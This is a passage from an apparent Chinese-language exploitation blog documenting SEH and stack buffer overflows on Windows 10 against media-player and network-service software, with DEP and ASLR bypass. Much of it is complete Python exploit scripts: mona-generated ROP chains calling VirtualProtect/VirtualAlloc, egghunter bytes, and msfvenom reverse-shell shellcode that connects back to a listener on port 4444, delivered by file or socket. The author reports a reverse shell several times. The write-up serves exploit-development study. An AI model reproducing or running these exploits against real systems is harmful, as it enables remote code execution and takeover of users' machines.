0x00000040, # 0x00000040-> ecx
#[---INFO:gadgets_to_set_edi:---]
0x100147d2, # POP EDI # RETN [audconv.dll]
0x1003f2b9, # RETN (ROP NOP) [audconv.dll]
#[---INFO:gadgets_to_set_esi:---]
0x10001a43, # POP ESI # RETN [audconv.dll]
0x1006685a, # JMP [EAX] [audconv.dll]
0x1008264a, # POP EAX # RETN [audconv.dll]
0x100952c4, # ptr to &VirtualAlloc() [IAT audconv.dll]
#[---INFO:pushad:---]
0x1002ef14, # PUSHAD # RETN [audconv.dll]
#[---INFO:extras:---]
0x1002debd, # ptr to 'push esp # ret ' [audconv.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()




nops1 = b"\x90"*32
junk1 = b"A"*32
nops2 = b"\x90"*(1240+108) #
payload = nops2+rop_chain+nops1+shellcode
junk2 = b"A"*(4436-len(payload)-32)
# seh = b"\xcc\xcc\xcc\xcc"
seh = struct.pack("<L",0x100646bb) # ADD ESP,0E44 # RETN
junk3 = b"C"*(45544-4432-4)

with open(filename, "wb") as fp:
fp.write(junk1+payload+junk2+seh+junk3)

成功反弹shell

BOF

来看一下win10,不开启DEP。溢出时,可以看到SEH链的第二条被我们覆盖了:

BOF

在异常处理的时候,出现如下问题:(会一直停留在第一个异常处理函数里面,无法跳出)

BOF

谷歌了一下,说是异常没有捕获到。这里就不进一步讨论了。

2022年5月14日更新:Win10利用失败的原因是,我想找一个SafeSEH关闭,且未开启ASLRDLL,这样就可以保证利用脚本是稳定的,不会因为系统重启而无法使用。这里有且仅有audconv.dll,可以看上面我使用的地址,是以00开始,这样就导致内存里指令会被截断,而开始部分的Win7audconv.dll地址空间不是以00开始,所以可以利用成功。

测试环境:Windows 10 21H2 32位,关闭全局DEP。最开始是想开启全局DEP,然后尝试Egghunter+Bypass DEP+Bypass ASLR,后来发现不可行,就把全局DEP关掉了。

exploit-db上的链接:https://www.exploit-db.com/exploits/40151。

基本操作没有太多有意思的点,就不阐述了。我选择的2000字节,Offset确定为212,坏字符为\x00\x0a\x0d

mona看一下未开启ASLR的模块:

bof

只有coolplayer+.exe本身,并且地址区间在0x004000000x00485000间。好了,问题来了,地址包含00,会截断后续的字符,我们如果需要Bypass ASLR的话,又只能使用这里的某个地址。为了更加直观的获取寄存器与我们输入的字符串之间的关系,检查查找坏字符时内存的情况:

bof

也就是说,EBX所指向的内存保存着我们的输入字符,按照一般的栈溢出,只需把EIP的值覆盖为一条类似JMP EBX即可。

bof

直接贴上最终的利用代码来分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import sys
import socket
import struct

filename="exploit.m3u"

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x0a\x0d'

shellcode = b"w00tw00t"
shellcode += b"\xba\x75\xb8\x3a\xf7\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x25\xb6\xd8\x02\x39\x2e\x9e\xed\xc1\xaf"
shellcode += b"\xff\x64\x24\x9e\x3f\x12\x2d\xb1\x8f\x50\x63"
shellcode += b"\x3e\x7b\x34\x97\xb5\x09\x91\x98\x7e\xa7\xc7"
shellcode += b"\x97\x7f\x94\x34\xb6\x03\xe7\x68\x18\x3d\x28"
shellcode += b"\x7d\x59\x7a\x55\x8c\x0b\xd3\x11\x23\xbb\x50"
shellcode += b"\x6f\xf8\x30\x2a\x61\x78\xa5\xfb\x80\xa9\x78"
shellcode += b"\x77\xdb\x69\x7b\x54\x57\x20\x63\xb9\x52\xfa"
shellcode += b"\x18\x09\x28\xfd\xc8\x43\xd1\x52\x35\x6c\x20"
shellcode += b"\xaa\x72\x4b\xdb\xd9\x8a\xaf\x66\xda\x49\xcd"
shellcode += b"\xbc\x6f\x49\x75\x36\xd7\xb5\x87\x9b\x8e\x3e"
shellcode += b"\x8b\x50\xc4\x18\x88\x67\x09\x13\xb4\xec\xac"
shellcode += b"\xf3\x3c\xb6\x8a\xd7\x65\x6c\xb2\x4e\xc0\xc3"
shellcode += b"\xcb\x90\xab\xbc\x69\xdb\x46\xa8\x03\x86\x0e"
shellcode += b"\x1d\x2e\x38\xcf\x09\x39\x4b\xfd\x96\x91\xc3"
shellcode += b"\x4d\x5e\x3c\x14\xb1\x75\xf8\x8a\x4c\x76\xf9"
shellcode += b"\x83\x8a\x22\xa9\xbb\x3b\x4b\x22\x3b\xc3\x9e"
shellcode += b"\xe5\x6b\x6b\x71\x46\xdb\xcb\x21\x2e\x31\xc4"
shellcode += b"\x1e\x4e\x3a\x0e\x37\xe5\xc1\xd9\xf8\x52\x92"
shellcode += b"\x90\x91\xa0\x24\xb2\x3d\x2c\xc2\xde\xad\x78"
shellcode += b"\x5d\x77\x57\x21\x15\xe6\x98\xff\x50\x28\x12"
shellcode += b"\x0c\xa5\xe7\xd3\x79\xb5\x90\x13\x34\xe7\x37"
shellcode += b"\x2b\xe2\x8f\xd4\xbe\x69\x4f\x92\xa2\x25\x18"
shellcode += b"\xf3\x15\x3c\xcc\xe9\x0c\x96\xf2\xf3\xc9\xd1"
shellcode += b"\xb6\x2f\x2a\xdf\x37\xbd\x16\xfb\x27\x7b\x96"
shellcode += b"\x47\x13\xd3\xc1\x11\xcd\x95\xbb\xd3\xa7\x4f"
shellcode += b"\x17\xba\x2f\x09\x5b\x7d\x29\x16\xb6\x0b\xd5"
shellcode += b"\xa7\x6f\x4a\xea\x08\xf8\x5a\x93\x74\x98\xa5"
shellcode += b"\x4e\x3d\xb8\x47\x5a\x48\x51\xde\x0f\xf1\x3c"
shellcode += b"\xe1\xfa\x36\x39\x62\x0e\xc7\xbe\x7a\x7b\xc2"
shellcode += b"\xfb\x3c\x90\xbe\x94\xa8\x96\x6d\x94\xf8"


buff_size = 2000
#egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc8\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
junk = b'\x90'*(212-len(egghunter))
eip = struct.pack("<L",0x00401897) # 0x00401897 : call ebx
nops = b"\x90"*32
junk2 = b'C'*(buff_size-212-4-len(shellcode)-32)
payload = junk+egghunter+eip+nops+shellcode+junk2

with open(filename,"wb") as filehander:
filehander.write(payload)

这里选择0x00401897用于覆盖EIP。

bof

发现EIP之后的值都变了,我这里在EIP之后是放的\x90。来看看此刻EBX所指向的内存的值:

bof

发现EBX所指向的内容就是我们输入的内容,并且没有截断。最开始想把shellcode放在导致溢出的A字符串所在的位置,这里的空间太少,不能直接放,只能考虑放egghunter代码。

成功反弹shell:(因为涉及到内存的搜索,反弹shell需要等待一些时间)

bof

测试环境:Windows 10 21H2 32位,开启全局DEP。这里来看如何绕过DEPASLR。附带演示一下基于SEH栈溢出DEP bypass与普通SEH栈溢出利用代码结构的不同。

普通栈溢出利用:

这个程序可以用普通的栈溢出DEP bypass来完成利用。此时Offset1052。太简单了,就不过多解释了。

查找未开启ASLRDLL,并查找RETN

1
2
0:014> .load pykd.pyd
0:014> !py mona noaslr

seh

1
0:014> !py mona find -type instr -s "retn" -p 10 -o -m Qt5Core.dll

seh

来看一下最终的利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import sys
import socket
import struct

target="127.0.0.1"

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

shellcode = b""
shellcode += b"\xb8\x26\xe9\x79\xbf\xdb\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5e\x33\xc9\xb1\x52\x31\x46\x12\x83\xee\xfc"
shellcode += b"\x03\x60\xe7\x9b\x4a\x90\x1f\xd9\xb5\x68\xe0"
shellcode += b"\xbe\x3c\x8d\xd1\xfe\x5b\xc6\x42\xcf\x28\x8a"
shellcode += b"\x6e\xa4\x7d\x3e\xe4\xc8\xa9\x31\x4d\x66\x8c"
shellcode += b"\x7c\x4e\xdb\xec\x1f\xcc\x26\x21\xff\xed\xe8"
shellcode += b"\x34\xfe\x2a\x14\xb4\x52\xe2\x52\x6b\x42\x87"
shellcode += b"\x2f\xb0\xe9\xdb\xbe\xb0\x0e\xab\xc1\x91\x81"
shellcode += b"\xa7\x9b\x31\x20\x6b\x90\x7b\x3a\x68\x9d\x32"
shellcode += b"\xb1\x5a\x69\xc5\x13\x93\x92\x6a\x5a\x1b\x61"
shellcode += b"\x72\x9b\x9c\x9a\x01\xd5\xde\x27\x12\x22\x9c"
shellcode += b"\xf3\x97\xb0\x06\x77\x0f\x1c\xb6\x54\xd6\xd7"
shellcode += b"\xb4\x11\x9c\xbf\xd8\xa4\x71\xb4\xe5\x2d\x74"
shellcode += b"\x1a\x6c\x75\x53\xbe\x34\x2d\xfa\xe7\x90\x80"
shellcode += b"\x03\xf7\x7a\x7c\xa6\x7c\x96\x69\xdb\xdf\xff"
shellcode += b"\x5e\xd6\xdf\xff\xc8\x61\xac\xcd\x57\xda\x3a"
shellcode += b"\x7e\x1f\xc4\xbd\x81\x0a\xb0\x51\x7c\xb5\xc1"
shellcode += b"\x78\xbb\xe1\x91\x12\x6a\x8a\x79\xe2\x93\x5f"
shellcode += b"\x2d\xb2\x3b\x30\x8e\x62\xfc\xe0\x66\x68\xf3"
shellcode += b"\xdf\x97\x93\xd9\x77\x3d\x6e\x8a\xb7\x6a\x7d"
shellcode += b"\xc3\x50\x69\x7d\xc2\xfc\xe4\x9b\x8e\xec\xa0"
shellcode += b"\x34\x27\x94\xe8\xce\xd6\x59\x27\xab\xd9\xd2"
shellcode += b"\xc4\x4c\x97\x12\xa0\x5e\x40\xd3\xff\x3c\xc7"
shellcode += b"\xec\xd5\x28\x8b\x7f\xb2\xa8\xc2\x63\x6d\xff"
shellcode += b"\x83\x52\x64\x95\x39\xcc\xde\x8b\xc3\x88\x19"
shellcode += b"\x0f\x18\x69\xa7\x8e\xed\xd5\x83\x80\x2b\xd5"
shellcode += b"\x8f\xf4\xe3\x80\x59\xa2\x45\x7b\x28\x1c\x1c"
shellcode += b"\xd0\xe2\xc8\xd9\x1a\x35\x8e\xe5\x76\xc3\x6e"
shellcode += b"\x57\x2f\x92\x91\x58\xa7\x12\xea\x84\x57\xdc"
shellcode += b"\x21\x0d\x77\x3f\xe3\x78\x10\xe6\x66\xc1\x7d"
shellcode += b"\x19\x5d\x06\x78\x9a\x57\xf7\x7f\x82\x12\xf2"
shellcode += b"\xc4\x04\xcf\x8e\x55\xe1\xef\x3d\x55\x20"


def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x68c50d64, # POP EBP # RETN [Qt5Core.dll]
0x68c50d64, # skip 4 bytes [Qt5Core.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x68fa7ca2, # POP EDX # RETN [Qt5Core.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x68bd5fe4, # NEG EDX # RETN 0x0C [Qt5Core.dll]
0x68d773fe, # POP EBX # RETN [Qt5Core.dll]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0xffffffff, #
0x68fb3ef1, # INC EBX # RETN [Qt5Core.dll]
0x68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll]
#[---INFO:gadgets_to_set_edx:---]
0x68f9a472, # POP EDX # RETN [Qt5Core.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x68bd5fe4, # NEG EDX # RETN 0x0C [Qt5Core.dll]
#[---INFO:gadgets_to_set_ecx:---]
0x68ae7e17, # POP ECX # RETN [Qt5Core.dll]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x68c13baa, # &Writable location [Qt5Core.dll]
#[---INFO:gadgets_to_set_edi:---]
0x68c018b6, # POP EDI # RETN [Qt5Core.dll]
0x68cef5b4, # RETN (ROP NOP) [Qt5Core.dll]
#[---INFO:gadgets_to_set_esi:---]
0x68d54786, # POP ESI # RETN [Qt5Core.dll]
0x68a9314e, # JMP [EAX] [Qt5Core.dll]
0x68b226c5, # POP EAX # RETN [Qt5Core.dll]
0x690398a8, # ptr to &VirtualProtect() [IAT Qt5Core.dll]
#[---INFO:pushad:---]
0x68fd02fb, # PUSHAD # RETN [Qt5Core.dll]
#[---INFO:extras:---]
0x68aa11e6, # ptr to 'push esp # ret ' [Qt5Core.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()



buff_size = 4000
junk = b'A'*1052
retn = struct.pack("<L",0x68c1f01c) # 0x68c1f01c : retn
nops = b"\x90"*32
junk2 = b'C'*(buff_size-1052-len(shellcode)-32)
payload = junk+retn+rop_chain+nops+shellcode+junk2

try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload)
except Exception as e:
print(e)

利用mona自动生成的ROP Chain,所使用的Qt5Core.dll没有开启ASLR,所以这里采用的选择未开启ASLRDLLbypass ASLR

成功反弹shell

seh

SEH栈溢出利用:

触发SEH栈溢出Offset2348,注意这里是指覆盖Next SEH而不是SEH Handler。按照普通SEH栈溢出漏洞利用,P/P/R配合JMP,来一下出现的问题:

P/P/R处下断点,异常发生之后,进入P/P/R

seh

想要执行JMP指令,因为DEP的存在,执行失败:

seh

结合前一篇文章介绍,这里需要一条能够跳转到ROP Chain的指令覆盖SEH Handler,上一篇文章介绍的比较详细,这里给出最后的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import sys
import socket
import struct

target="127.0.0.1"

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

shellcode = b""
shellcode += b"\xda\xd9\xd9\x74\x24\xf4\xba\xc2\x93\x9a\x62"
shellcode += b"\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x13"
shellcode += b"\x03\x92\x80\x78\x97\xee\x4f\xfe\x58\x0e\x90"
shellcode += b"\x9f\xd1\xeb\xa1\x9f\x86\x78\x91\x2f\xcc\x2c"
shellcode += b"\x1e\xdb\x80\xc4\x95\xa9\x0c\xeb\x1e\x07\x6b"
shellcode += b"\xc2\x9f\x34\x4f\x45\x1c\x47\x9c\xa5\x1d\x88"
shellcode += b"\xd1\xa4\x5a\xf5\x18\xf4\x33\x71\x8e\xe8\x30"
shellcode += b"\xcf\x13\x83\x0b\xc1\x13\x70\xdb\xe0\x32\x27"
shellcode += b"\x57\xbb\x94\xc6\xb4\xb7\x9c\xd0\xd9\xf2\x57"
shellcode += b"\x6b\x29\x88\x69\xbd\x63\x71\xc5\x80\x4b\x80"
shellcode += b"\x17\xc5\x6c\x7b\x62\x3f\x8f\x06\x75\x84\xed"
shellcode += b"\xdc\xf0\x1e\x55\x96\xa3\xfa\x67\x7b\x35\x89"
shellcode += b"\x64\x30\x31\xd5\x68\xc7\x96\x6e\x94\x4c\x19"
shellcode += b"\xa0\x1c\x16\x3e\x64\x44\xcc\x5f\x3d\x20\xa3"
shellcode += b"\x60\x5d\x8b\x1c\xc5\x16\x26\x48\x74\x75\x2f"
shellcode += b"\xbd\xb5\x85\xaf\xa9\xce\xf6\x9d\x76\x65\x90"
shellcode += b"\xad\xff\xa3\x67\xd1\xd5\x14\xf7\x2c\xd6\x64"
shellcode += b"\xde\xea\x82\x34\x48\xda\xaa\xde\x88\xe3\x7e"
shellcode += b"\x70\xd8\x4b\xd1\x31\x88\x2b\x81\xd9\xc2\xa3"
shellcode += b"\xfe\xfa\xed\x69\x97\x91\x14\xfa\x58\xcd\x1b"
shellcode += b"\x73\x30\x0c\x23\x92\x9d\x99\xc5\xfe\x0d\xcc"
shellcode += b"\x5e\x97\xb4\x55\x14\x06\x38\x40\x51\x08\xb2"
shellcode += b"\x67\xa6\xc7\x33\x0d\xb4\xb0\xb3\x58\xe6\x17"
shellcode += b"\xcb\x76\x8e\xf4\x5e\x1d\x4e\x72\x43\x8a\x19"
shellcode += b"\xd3\xb5\xc3\xcf\xc9\xec\x7d\xed\x13\x68\x45"
shellcode += b"\xb5\xcf\x49\x48\x34\x9d\xf6\x6e\x26\x5b\xf6"
shellcode += b"\x2a\x12\x33\xa1\xe4\xcc\xf5\x1b\x47\xa6\xaf"
shellcode += b"\xf0\x01\x2e\x29\x3b\x92\x28\x36\x16\x64\xd4"
shellcode += b"\x87\xcf\x31\xeb\x28\x98\xb5\x94\x54\x38\x39"
shellcode += b"\x4f\xdd\x58\xd8\x45\x28\xf1\x45\x0c\x91\x9c"
shellcode += b"\x75\xfb\xd6\x98\xf5\x09\xa7\x5e\xe5\x78\xa2"
shellcode += b"\x1b\xa1\x91\xde\x34\x44\x95\x4d\x34\x4d"





def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x68c50d64, # POP EBP # RETN [Qt5Core.dll]
0x41414141, # junk
0x68c50d64, # skip 4 bytes [Qt5Core.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x68fa7ca2, # POP EDX # RETN [Qt5Core.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x68bd5fe4, # NEG EDX # RETN 0x0C [Qt5Core.dll]
0x68d773fe, # POP EBX # RETN [Qt5Core.dll]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0xffffffff, #
0x68fb3ef1, # INC EBX # RETN [Qt5Core.dll]
0x68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll]
#[---INFO:gadgets_to_set_edx:---]
0x68f9a472, # POP EDX # RETN [Qt5Core.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x68bd5fe4, # NEG EDX # RETN 0x0C [Qt5Core.dll]
#[---INFO:gadgets_to_set_ecx:---]
0x68ae7e17, # POP ECX # RETN [Qt5Core.dll]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x68c13baa, # &Writable location [Qt5Core.dll]
#[---INFO:gadgets_to_set_edi:---]
0x68c018b6, # POP EDI # RETN [Qt5Core.dll]
0x68cef5b4, # RETN (ROP NOP) [Qt5Core.dll]
#[---INFO:gadgets_to_set_esi:---]
0x68d54786, # POP ESI # RETN [Qt5Core.dll]
0x68a9314e, # JMP [EAX] [Qt5Core.dll]
0x68b226c5, # POP EAX # RETN [Qt5Core.dll]
0x690398a8, # ptr to &VirtualProtect() [IAT Qt5Core.dll]
#[---INFO:pushad:---]
0x68fd02fb, # PUSHAD # RETN [Qt5Core.dll]
#[---INFO:extras:---]
0x68aa11e6, # ptr to 'push esp # ret ' [Qt5Core.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()



buff_size = 4000
#junk = b'A'*2348
#nseh = b"\xeb\x06\x90\x90"
junk = b'A'*2352
#seh = struct.pack("<L",0x68a9528e) #0x68a9528e : pop esi # pop edi # ret
seh = struct.pack("<L",0x68b72608) #0x68b72608 : {pivot 4156 / 0x103c} : # ADD ESP,102C # POP EBX # POP ESI # POP EDI # POP EBP # RETN 0x04
nops = b"\x90"*32
nops2 = b"\x90"*1480
junk1 = b"\x41"*16
junk2 = b'C'*(buff_size-2352-4-len(shellcode)-len(nops)-len(nops2))
#payload = junk+nseh+seh+retn+rop_chain+nops+shellcode+junk2
payload = junk+seh+nops2+junk1+rop_chain+nops+shellcode+junk2

try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload)
except Exception as e:
print(e)

成功反弹shell

seh

参考:

1.https://xen0vas.github.io/cloudme-v1-11-2-dep-bypass-using-rop-gadgets/#

测试环境:Windows 10 21H2 32位,开启全局DEP。这里来看如何绕过DEPASLR

没得说,肯定是先看需要多少字节能够Crash程序。简单的步骤就不说了,讲一下我遇到的一些小坑。

参考exploit-dbhttps://www.exploit-db.com/exploits/14191。这里选择字节长度为`50000`。

1
2
3
4
5
6
7
#!/usr/bin/python3

total_size = 50000
filename="crash.asx"
junk = b"A"*total_size
with open(filename,"wb") as filehander:
filehander.write(junk)

程序Crash的时候,发现把SEH链给覆盖了:

seh

所以,这里应该是基于SEH的栈溢出,需要绕过DEPASLR

在寻找Offset的时候,遇到一个小坑。这里可以用msf-pattern_create -l 50000生成,或者windbg加载mona之后,使用!py mona pc 50000生成,生成没有问题,主要是在确定具体的Offset的时候,出现了一点小问题。

注意看windbg中,通过mona查找到的具体Offset

seh

看一下msf-pattern_offset中查找到的具体Offset

seh

最后的正确Offset为43474。个人感觉是因为pattern太长了,里面的字符串出现了重复,而windbgmona没有搜索完,只搜索到第一个就停止了,所以,后续查找Offset的时候,最好两边一起验证下,如果有多个值符合条件,每个值最好也试一下。

seh

Offset偏移是正确的,注意标红的框,这里有个小细节,42424242之后被覆盖了ffffffff,这个ffffffff应该是SEH链的尾部。后续在查找坏字符的时候,会发现04030201没找到,原因是因为被ffffffff覆盖了。基于这一点,后续在写利用代码的时候,可以在Offset之后先跟一段\x90,然后再接shellcode,以防shellcode被覆盖导致不能执行。

注意,在查找坏字符的时候,需要定位坏字符串的位置,这里可以利用windbg中的搜索功能,需要先用!teb获取当前内存的空间大小及地址,然后再查找:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:000> !teb
TEB at 003cf000
ExceptionList: 000fbca8
StackBase: 00150000
StackLimit: 000e0000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 003cf000
EnvironmentPointer: 00000000
ClientId: 000010cc . 00001adc
RpcHandle: 00000000
Tls Storage: 006dba30
PEB Address: 003ce000
LastErrorValue: 0
LastStatusValue: c0000034
Count Owned Locks: 0
HardErrorMode: 0
0:000> s -a 000e0000 00150000 BBBB

搜索的命令为:

1
s -a 000e0000 00150000 BBBB

seh

显然,第一个坏字符为09,后续发现0a也是坏字符:

seh

最终坏字符为\x00\x09\x0a

讲一点小知识:对于开启DEP且基于SEH的栈溢出,不能使用之前讨论的未开启DEPSEH栈溢出利用方法。因为开启DEP之后,栈空间是不可执行的,而之前SEH利用方式中组合P/P/RJMP的方式,在P/P/R执行完之后,后续跳转到JMP指令上,因为该指令在栈上面导致无法执行。正确的方法是直接用能跳转到ROP Chain上的指令覆盖SEH Handler

考虑到Bypass ASLR,在构建ROP Chain的时候,如果程序运行时没能泄漏出某个函数的地址,则需要选择没有开启ASLRDLL,不然可以先计算出基址,然后ROP Gadget都选择相对地址构建ROP Chain即可。这里选择没开启ASLRDLL

seh

在用mona自动生成ROP Chain的时候,发现生成不成功,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
*** [ Python ] ***

def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x10031e12, # POP EBP # RETN [MSA2Mfilter03.dll]
0x10031e12, # skip 4 bytes [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x10013734, # POP EBX # RETN [MSA2Mfilter03.dll]
0xffffffff, #
0x100319d3, # INC EBX # FPATAN # RETN [MSA2Mfilter03.dll]
0x100319d3, # INC EBX # FPATAN # RETN [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_edx:---]
0x00000000, # [-] Unable to find gadget to put 00001000 into edx
#[---INFO:gadgets_to_set_ecx:---]
0x10021292, # POP ECX # RETN [MSA2Mfilter03.dll]
0xffffffff, #
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
